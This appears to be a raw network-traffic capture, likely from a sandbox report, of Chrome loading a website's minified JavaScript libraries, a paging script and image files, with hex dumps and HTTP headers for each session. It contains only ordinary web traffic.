2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 3d 30 2c 6c 3d 61 2e 6c 65 6e 67 74 68 2c 6b 3d 30 3b 6c 3e 6b 3b 6b 2b 2b 29 64 3d 6e 75 6c 6c 3d 3d 63 3f 61 5b 6b 5d 5b 6d 5d 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 28 6f 3d 61 5b 6b 5d 5b 6d 5d 29 26 26 22 3d 22 3d 3d 3d 6f 2e 63 68 61 72 41 74 28 31 29 3f 63 5b 6d 5d 2b 4e 75 6d 62 65 72 28 6f 2e 63 68 61 72 41 74 28 30 29 2b 6f 2e 73 75 62 73 74 72 28 32 29 29 3a 4e 75 6d 62 65 72 28 6f 29 2c 72 26 26 6b 3e 31 26 26 6c 2d 31 3e 6b 26 26 28 69 5b 6e 2b 2b 5d 3d 28 64 2b 69 5b 6e 2d 32 5d 29 2f 32 29 2c 69 5b 6e 2b 2b 5d 3d 64 3b 66 6f 72 28 6c 3d 6e 2d 71 2b 31 2c 6e 3d 30 2c 6b 3d 30 3b 6c 3e 6b 3b 6b 2b 3d 71 29 64 3d 69 5b 6b 5d 2c 65 3d 69 5b 6b 2b 31 5d 2c 66 3d 69 5b 6b 2b 32 5d 2c 68 3d 32 3d 3d 3d 71 3f 30 3a 69 5b 6b 2b 33 5d 2c Data Ascii: =0,l=a.length,k=0;l>k;k++)d=null==c?a[k][m]:"string"==typeof(o=a[k][m])&&"="===o.charAt(1)?c[m]+Number(o.charAt(0)+o.substr(2)):Number(o),r&&k>1&&l-1>k&&(i[n++]=(d+i[n-2])/2),i[n++]=d;for(l=n-q+1,n=0,k=0;l>k;k+=q)d=i[k],e=i[k+1],f=i[k+2],h=2===q?0:i[k+3],
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 6c 6c 2c 6c 2e 5f 70 72 65 76 26 26 28 6c 2e 5f 70 72 65 76 2e 5f 6e 65 78 74 3d 6e 75 6c 6c 29 29 29 3b 64 26 26 64 21 3d 3d 6c 3b 29 7b 69 66 28 64 2e 74 79 70 65 3c 3d 31 26 26 28 68 3d 64 2e 70 2c 6e 5b 68 5d 3d 64 2e 73 2b 64 2e 63 2c 6d 5b 68 5d 3d 64 2e 73 2c 66 7c 7c 28 6a 3d 6e 65 77 20 73 61 28 64 2c 22 73 22 2c 68 2c 6a 2c 64 2e 72 29 2c 64 2e 63 3d 30 29 2c 31 3d 3d 3d 64 2e 74 79 70 65 29 29 66 6f 72 28 67 3d 64 2e 6c 3b 2d 2d 67 3e 30 3b 29 69 3d 22 78 6e 22 2b 67 2c 68 3d 64 2e 70 2b 22 5f 22 2b 69 2c 6e 5b 68 5d 3d 64 2e 64 61 74 61 5b 69 5d 2c 6d 5b 68 5d 3d 64 5b 69 5d 2c 66 7c 7c 28 6a 3d 6e 65 77 20 73 61 28 64 2c 69 2c 68 2c 6a 2c 64 2e 72 78 70 5b 69 5d 29 29 3b 64 3d 64 2e 5f 6e 65 78 74 7d 72 65 74 75 72 6e 7b 70 72 6f 78 79 3a 6d Data Ascii: ll,l._prev&&(l._prev._next=null)));d&&d!==l;){if(d.type<=1&&(h=d.p,n[h]=d.s+d.c,m[h]=d.s,f\|\|(j=new sa(d,"s",h,j,d.r),d.c=0),1===d.type))for(g=d.l;--g>0;)i="xn"+g,h=d.p+"_"+i,n[h]=d.data[i],m[h]=d[i],f\|\|(j=new sa(d,i,h,j,d.rxp[i]));d=d._next}return{proxy:m
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 67 69 6e 29 26 26 28 45 3d 7b 7d 2c 4c 61 28 61 2c 68 61 28 41 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 29 2c 45 2c 41 2e 73 76 67 4f 72 69 67 69 6e 2c 41 2e 73 6d 6f 6f 74 68 4f 72 69 67 69 6e 2c 21 30 29 2c 73 3d 45 2e 78 4f 72 69 67 69 6e 2c 74 3d 45 2e 79 4f 72 69 67 69 6e 2c 6c 2e 78 2d 3d 45 2e 78 4f 66 66 73 65 74 2d 44 2e 78 4f 66 66 73 65 74 2c 6c 2e 79 0d 0a 63 33 39 31 0d 0a 2d 3d 45 2e 79 4f 66 66 73 65 74 2d 44 2e 79 4f 66 66 73 65 74 29 2c 28 73 7c 7c 74 29 26 26 28 75 3d 51 61 28 51 2c 21 30 29 2c 6c 2e 78 2d 3d 73 2d 28 73 2a 75 5b 30 5d 2b 74 2a 75 5b 32 5d 29 2c 6c 2e 79 2d 3d 74 2d 28 73 2a 75 5b 31 5d 2b 74 2a 75 5b 33 5d 29 29 29 2c 4f 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 51 29 2c 6c 2e 70 65 72 73 70 65 63 74 Data Ascii: gin)&&(E={},La(a,ha(A.transformOrigin),E,A.svgOrigin,A.smoothOrigin,!0),s=E.xOrigin,t=E.yOrigin,l.x-=E.xOffset-D.xOffset,l.yc391-=E.yOffset-D.yOffset),(s\|\|t)&&(u=Qa(Q,!0),l.x-=s-(su[0]+tu[2]),l.y-=t-(su[1]+tu[3]))),O.body.removeChild(Q),l.perspect
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 69 2c 6a 2c 6b 3d 62 2e 75 73 65 52 61 64 69 61 6e 73 3d 3d 3d 21 30 3f 32 2a 4d 61 74 68 2e 50 49 3a 33 36 30 2c 6c 3d 31 65 2d 36 3b 66 6f 72 28 65 20 69 6e 20 62 29 22 75 73 65 52 61 64 69 61 6e 73 22 21 3d 3d 65 26 26 28 68 3d 62 5b 65 5d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 68 26 26 28 68 3d 68 28 64 2c 61 29 29 2c 6a 3d 28 68 2b 22 22 29 2e 73 70 6c 69 74 28 22 5f 22 29 2c 66 3d 6a 5b 30 5d 2c 67 3d 70 61 72 73 65 46 6c 6f 61 74 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 5b 65 5d 3f 61 5b 65 5d 3a 61 5b 65 2e 69 6e 64 65 78 4f 66 28 22 73 65 74 22 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 5b 22 67 65 74 22 2b 65 2e 73 75 62 73 74 72 28 33 29 5d 3f 65 3a 22 67 65 74 22 2b 65 2e 73 Data Ascii: i,j,k=b.useRadians===!0?2*Math.PI:360,l=1e-6;for(e in b)"useRadians"!==e&&(h=b[e],"function"==typeof h&&(h=h(d,a)),j=(h+"").split("_"),f=j[0],g=parseFloat("function"!=typeof a[e]?a[e]:a[e.indexOf("set")\|\|"function"!=typeof a["get"+e.substr(3)]?e:"get"+e.s
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 3d 65 2c 74 68 69 73 2e 5f 72 65 63 65 6e 74 3d 61 2c 74 68 69 73 2e 5f 74 69 6d 65 6c 69 6e 65 26 26 74 68 69 73 2e 5f 75 6e 63 61 63 68 65 28 21 30 29 2c 74 68 69 73 7d 2c 69 2e 5f 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 74 69 6d 65 6c 69 6e 65 3d 3d 3d 74 68 69 73 26 26 28 62 7c 7c 61 2e 5f 65 6e 61 62 6c 65 64 28 21 31 2c 21 30 29 2c 61 2e 5f 70 72 65 76 3f 61 2e 5f 70 72 65 76 2e 5f 6e 65 78 74 3d 61 2e 5f 6e 65 78 74 3a 74 68 69 73 2e 5f 66 69 72 73 74 3d 3d 3d 61 26 26 28 74 68 69 73 2e 5f 66 69 72 73 74 3d 61 2e 5f 6e 65 78 74 29 2c 61 2e 5f 6e 65 78 74 3f 61 2e 5f 6e 65 78 74 2e 5f 70 72 65 76 3d 61 2e 5f 70 72 65 76 3a 74 68 69 73 2e 5f 6c 61 73 74 3d 3d 3d 61 26 26 28 74 68 69 73 2e 5f 6c 61 73 Data Ascii: =e,this._recent=a,this._timeline&&this._uncache(!0),this},i._remove=function(a,b){return a.timeline===this&&(b\|\|a._enabled(!1,!0),a._prev?a._prev._next=a._next:this._first===a&&(this._first=a._next),a._next?a._next._prev=a._prev:this._last===a&&(this._las
2024-09-27 03:50:56 UTC	1052	IN	Data Raw: 2e 5f 6e 65 78 74 3b 28 68 2e 5f 70 72 65 76 3d 64 3f 64 2e 5f 70 72 65 76 3a 66 29 3f 68 2e 5f 70 72 65 76 2e 5f 6e 65 78 74 3d 68 3a 65 3d 68 2c 28 68 2e 5f 6e 65 78 74 3d 64 29 3f 64 2e 5f 70 72 65 76 3d 68 3a 66 3d 68 2c 68 3d 67 7d 68 3d 62 2e 5f 66 69 72 73 74 50 54 3d 65 7d 66 6f 72 28 3b 68 3b 29 68 2e 70 67 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 68 2e 74 5b 61 5d 26 26 68 2e 74 5b 61 5d 28 29 26 26 28 63 3d 21 30 29 2c 68 3d 68 2e 5f 6e 65 78 74 3b 72 65 74 75 72 6e 20 63 7d 2c 64 61 2e 61 63 74 69 76 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 61 2e 6c 65 6e 67 74 68 3b 2d 2d 62 3e 2d 31 3b 29 61 5b 62 5d 2e 41 50 49 3d 3d 3d 64 61 2e 41 50 49 26 26 28 53 5b 28 6e 65 77 20 61 5b 62 5d 29 Data Ascii: ._next;(h._prev=d?d._prev:f)?h._prev._next=h:e=h,(h._next=d)?d._prev=h:f=h,h=g}h=b._firstPT=e}for(;h;)h.pg&&"function"==typeof h.t[a]&&h.t[a]()&&(c=!0),h=h._next;return c},da.activate=function(a){for(var b=a.length;--b>-1;)a[b].API===da.API&&(S[(new a[b])

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49798	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:56 UTC	555	OUT	GET /resources/assets/lib/js/count.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:56 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:31 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:56 UTC	3376	IN	Data Raw: 64 32 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 62 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 62 28 72 65 71 75 69 72 65 2c 65 78 70 6f 72 74 73 2c 6d 6f 64 75 6c 65 29 3a 61 2e 43 6f 75 6e 74 55 70 3d 62 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 66 6f 72 28 76 61 72 20 67 3d 30 2c 68 3d 5b 22 77 65 62 6b 69 74 22 2c 22 6d 6f 7a 22 2c 22 6d 73 22 2c 22 6f 22 5d 2c 69 3d 30 3b 69 3c 68 2e 6c 65 6e 67 74 68 26 26 21 77 69 6e 64 6f Data Ascii: d24!function(a,b){"function"==typeof define&&define.amd?define(b):"object"==typeof exports?module.exports=b(require,exports,module):a.CountUp=b()}(this,function(){var d=function(a,b,c,d,e,f){for(var g=0,h=["webkit","moz","ms","o"],i=0;i<h.length&&!windo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49799	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:56 UTC	558	OUT	GET /resources/assets/lib/js/xlPaging.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:56 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:31 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:56 UTC	5681	IN	Data Raw: 31 36 32 34 0d 0a 76 61 72 20 50 61 67 69 6e 67 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 66 75 6e 63 74 69 6f 6e 20 50 61 67 69 6e 67 28 65 6c 65 6d 65 6e 74 4e 61 6d 65 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 74 68 69 73 2e 65 6c 65 6d 65 6e 74 4e 61 6d 65 20 3d 20 65 6c 65 6d 65 6e 74 4e 61 6d 65 3b 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 6f 70 74 69 6f 6e 73 3b 0a 09 09 6f 70 74 69 6f 6e 73 2e 6e 6f 77 50 61 67 65 20 3d 20 6f 70 74 69 6f 6e 73 2e 6e 6f 77 50 61 67 65 20 3e 3d 20 31 20 3f 20 6f 70 74 69 6f 6e 73 2e 6e 6f 77 50 61 67 65 20 3a 20 31 3b 0a 09 09 6f 70 74 69 6f 6e 73 2e 70 61 67 65 4e 75 6d 20 3d 20 6f 70 74 69 6f 6e 73 2e 70 61 67 65 4e 75 6d 20 3e 20 30 20 3f 20 6f 70 74 69 6f 6e 73 2e 70 61 67 65 4e 75 6d Data Ascii: 1624var Paging = (function() {function Paging(elementName, options) {this.elementName = elementName;this.options = options;options.nowPage = options.nowPage >= 1 ? options.nowPage : 1;options.pageNum = options.pageNum > 0 ? options.pageNum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49804	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	757	OUT	GET /resources/assets/images/news2023.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	257	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/news2023.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49801	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	659	OUT	GET /images/2024/05/10/sichuang/image_1715308595_zbRpYtB3.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:57 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:57 GMT Content-Type: image/png Content-Length: 101751 Connection: close x-oss-request-id: 66F62BA17F9C793335C8181E Accept-Ranges: bytes ETag: "3D245A6565959D66AF8A3D6600000000" Last-Modified: Fri, 10 May 2024 02:47:11 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 7394230425936864317 x-oss-next-append-position: 101751 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:50:57 UTC	15838	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 40 00 00 01 40 08 02 00 00 00 42 f2 32 fd 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 06 bb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR@@B2pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 24 49 4f b7 66 e1 11 62 01 2a 86 a6 84 b0 ee 25 8e 50 65 9d 10 17 b3 a6 1c 04 cd 99 85 2b 89 13 1b a7 8b 76 f3 22 19 02 06 41 70 e8 d0 21 a5 82 35 ab 57 11 f0 dc 50 21 84 db 4d 5c 52 c2 ae 9b 48 20 6a a3 b5 36 c5 62 09 05 6a a3 2d f7 78 11 b8 26 0d 7f fa b9 ff cf b2 b4 5c a9 5c 70 fe 45 e5 4a a5 d7 eb f4 85 33 ad b5 64 c1 b8 38 38 cb b2 4c 67 ac 31 44 5e d0 4f 13 70 94 e3 ee 0a 0e 10 18 1a 90 52 f9 6f ca 58 33 30 30 60 8c f9 cc 67 3e f5 9d ef 7c 8b 63 81 52 b9 7c c1 f9 17 6e dc b8 b9 54 2c 37 9b 8d c9 c9 23 1b 37 6c 66 e8 41 1b 13 78 91 83 bc f5 02 dc b0 3b 2d a5 dc ba f5 a4 2d 5b b6 4e 4d 4d 7e ec a3 9f fc bb bf fb e0 e3 2f bd e4 ad 6f 79 f3 d0 d0 d0 0a dd ed 0f e0 5a b1 1c 18 01 50 48 29 bb bd de cc f4 a4 14 d2 95 75 3d 61 03 90 00 04 10 69 a3 51 08 21 Data Ascii: $IOfb*%Pe+v"Ap!5WP!M\RH j6bj-x&\\pEJ3d88Lg1D^OpRoX300`g>\|cR\|nT,7#7lfAx;--[NMM~/oyZPH)u=aiQ!
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 73 58 23 2d 47 13 b8 0a 9d f7 5d 5a 63 01 90 a3 67 1e c5 2c a5 aa d5 07 da dd 76 1c c7 41 10 18 63 98 59 35 3e 3e ce 2c 4b 21 04 67 c5 00 34 38 34 04 44 bd 5e 2c 84 30 c6 35 03 71 17 37 00 74 3b 9d 62 b1 b4 76 ed ba 76 bb 69 0c 17 84 38 52 10 e0 92 af be 0d 63 9f ff dc 97 c5 ca 2f b6 0f b6 41 3a b8 8b b4 31 8b 4b 0b 8d c6 d2 91 23 13 95 5d 77 8e 8c 8c ae 5f bf 7e cd 9a 75 83 03 43 a5 52 b9 54 aa 44 81 32 3a 49 d3 94 ac c9 8c 49 32 3d 58 ab 00 ca 42 71 b0 68 0e 0d 55 7a ed 91 75 cd ce 21 ad 75 92 24 d2 ed 86 c6 fa f1 88 da 18 29 e5 fc fc fc d0 d0 50 b9 54 3e 72 f4 08 6b 59 f3 44 98 87 12 88 c5 1b 3c b8 1d dd d3 9f fb 21 90 0f 7b 3c 95 37 0f 87 84 9f 58 85 88 02 15 59 12 92 09 06 c6 41 5c 1c 24 e7 bb ee b2 c9 1a 44 74 ac fb bd 1f 6b fd 27 f0 cc 0f 4a 1c 0b Data Ascii: sX#-G]Zcg,vAcY5>>,K!g484D^,05q7t;bvvi8Rc/A:1K#]w_~uCRTD2:II2=XBqhUzu!u$)PT>rkYD<!{<7XYA\$Dtk'J
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 0b c2 30 7b 32 5a 71 30 34 a0 8c b1 80 96 d1 86 7b 5e b3 d1 48 d2 24 1a 47 04 10 93 52 39 43 16 a5 51 12 c7 95 4a 85 1a 2d 82 8b 2c 4b b7 77 b6 84 f0 6a b5 ba 94 92 f2 82 28 8a f2 2c 9b 9a 9e 9e 9f 5b c8 f2 dc f5 f2 5c 77 1d 81 a3 d5 f7 20 ca 87 54 9a 32 0c ad 15 67 5c 1a d0 3a 07 04 c7 98 b6 f7 8a e2 98 18 e6 88 c0 c8 73 54 2b 4d 0d 15 00 70 1a 09 f6 b9 1f 20 5c 20 da 3d b4 a0 97 d8 93 d4 75 83 e1 40 1c 38 f3 e1 7d 55 6a 2c f2 29 db 8e 62 c6 28 6a 47 58 be 98 3b 00 a0 18 b1 b6 5f 0e 08 ea f7 3c 5f 70 a1 b4 46 6d ec 00 86 94 7e 40 29 b4 cd e9 b2 3c 63 c8 0a 61 90 34 cb 43 4f 4d 64 35 99 0c 67 aa e3 76 55 5e de e1 fd c8 2c b4 e0 f9 35 29 0d a7 cf 72 30 ff 58 5a 9c 03 e0 6b eb db cd b7 de 2b 73 b9 b5 b5 75 dd f5 a7 5e a9 68 fa af 5c 87 55 03 13 68 54 80 cd Data Ascii: 0{2Zq04{^H$GR9CQJ-,Kwj(,[\w T2g\:sT+Mp \ =u@8}Uj,)b(jGX;_<_pFm~@)<ca4COMd5gvU^,5)r0XZk+su^h\UhT
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 3b 61 2b 32 6d c7 cb e9 a2 1a 98 80 06 86 48 03 58 f4 2d 39 e3 83 c1 80 8a 32 21 3c 3a 72 91 b1 e1 70 40 8b 53 08 61 8c a9 56 6a 69 9a c4 f1 84 0e 95 56 ab c5 38 4f 27 3d 56 e2 5b 43 21 35 5f 6a 66 88 e6 e2 8e 67 00 8f b5 93 58 32 3a 56 72 99 7f d3 71 e8 43 4b a1 b5 01 e7 40 41 d9 23 59 8d 18 43 16 04 06 11 38 e7 cc 32 93 6c 9f 7d 38 1c 2c 2f 1f 9f ea 4c 8f a3 51 01 62 03 c0 81 e7 05 8c b1 cd cd 8d d3 a7 5f 75 db 6d 77 ac af af 79 9e 57 2a 95 7b bd ee 68 38 5c 5b 5b f5 3c 8f 22 ca 68 2d 95 72 dc 26 30 ce 22 c8 58 2b 60 30 fb c2 a5 f6 5d a6 a7 a7 1d a5 e1 c0 fb bd fc 42 c4 d1 68 b8 78 64 a9 5c a9 ec ed ee 86 61 89 f6 94 b5 b5 15 cf f3 e6 66 17 7a bd 9e d2 14 c0 24 49 59 ec 65 9a 86 63 ec f8 9b d6 34 7f 47 5a d0 49 1c 57 2a d5 4a b9 22 dd 9a 70 c5 e8 cb de Data Ascii: ;a+2mHX-92!<:rp@SaVjiV8O'=V[C!5_jfgX2:VrqCK@A#YC82l}8,/LQb_umwyW{h8\[[<"h-r&0"X+`0]Bhxd\afz$IYec4GZIWJ"p
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 1b 98 5b ab 91 11 50 54 6b 06 11 90 e8 f6 29 01 d0 09 02 b2 be 01 5d 3d 31 dc 52 42 28 25 11 e7 b8 6d 57 2a eb 52 88 64 32 d5 6e b7 cb e5 b5 89 89 c9 5c 36 77 76 61 5e 48 e5 d8 4e 18 04 2b 2b cb 13 e3 5b b2 b9 fc dc dc 2c 28 85 ec 8b d5 d5 95 c9 89 ad bb 77 ef 9d 99 99 0e 82 80 52 c2 79 d4 68 34 2a 95 f5 d1 91 d1 5a bd f6 e4 81 27 ce 2e cc ef be 68 cf 73 9f 7b 6d b1 58 ca 66 b3 00 e4 f8 f1 23 df ba f7 df 0e 1e da 3f d0 3f 78 cb 4f bf 71 cf 9e 4b 1a 8d 3a d6 ba 84 e0 a8 31 0e 00 38 a8 f1 1f ff f1 d3 b7 7d fa e3 ef 7b ff 7b 77 ef de 75 cd 35 cf 79 db 5b 7f f1 e3 7f 7f 2b 63 ac 52 a9 7c e4 23 1f b9 78 cf e5 d9 4c 9a 31 2b e2 a1 e0 82 0b c1 39 e7 5c 44 51 d4 df 3f 30 37 b7 f0 e8 a3 8f 5c b4 73 6f 79 6d fd 39 cf bd aa bc 5e de b9 73 e7 dc dc fc c8 c8 58 2f 32 Data Ascii: [PTk)]=1RB(%mWRd2n\6wva^HN++[,(wRyh4Z'.hs{mXf#??xOqK:18}{{wu5y[+cR\|#xL1+9\DQ?07\soym9^sX/2
2024-09-27 03:50:57 UTC	3993	IN	Data Raw: e8 ff f5 64 0b 6a 06 3b 12 d3 0f 44 88 c9 3e 00 d1 ef fe fe 3e c7 75 6a d5 6a b5 5a 99 9a 3a 3d 3b 37 13 45 11 63 2c 9f 2f 4e 4c 4c ee da 75 91 e3 38 f5 7a 83 73 2e 38 e7 11 47 ea b2 de 1f 95 94 42 20 8c 1e 45 61 a7 d3 11 82 73 c1 95 09 fb 75 d3 c8 05 b2 c6 c7 37 bf e5 2d 6f fb c4 27 3e de d7 d7 ef fb 9d 6e f0 15 b3 de 74 d3 22 14 0b c5 52 a9 ef d4 a9 93 57 5c 79 55 a7 d3 f1 7d 3f 91 48 6c ec c9 7f b7 f5 4c 31 e0 ef b8 e2 ae ba de 1f 66 b3 19 8b b1 62 b1 44 80 ac ae ae d4 ea 55 c1 85 6d db fd fd 03 8e e3 2c 2d 2d 56 ab 55 d7 75 d3 a9 34 b6 f5 30 4a 15 63 42 f0 56 a3 69 d9 76 32 99 5c af 94 f7 ec dd bb 67 cf d3 06 2a 2a d5 dd 65 e2 bd 06 33 52 03 21 c5 bf c5 22 93 e6 f4 c7 4e 40 29 e0 51 14 09 2e 85 10 42 c6 b2 6f 52 aa 28 8c 22 1e 71 ce a5 d4 f4 33 42 88 Data Ascii: dj;D>>ujjZ:=;7Ec,/NLLu8zs.8GB Easu7-o'>nt"RW\yU}?HlL1fbDUm,--VUu40JcBViv2\g**e3R!"N@)Q.BoR("q3B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49800	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	659	OUT	GET /sichuang/images/2023/04/06/image_1680777847_yF9XedBo.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
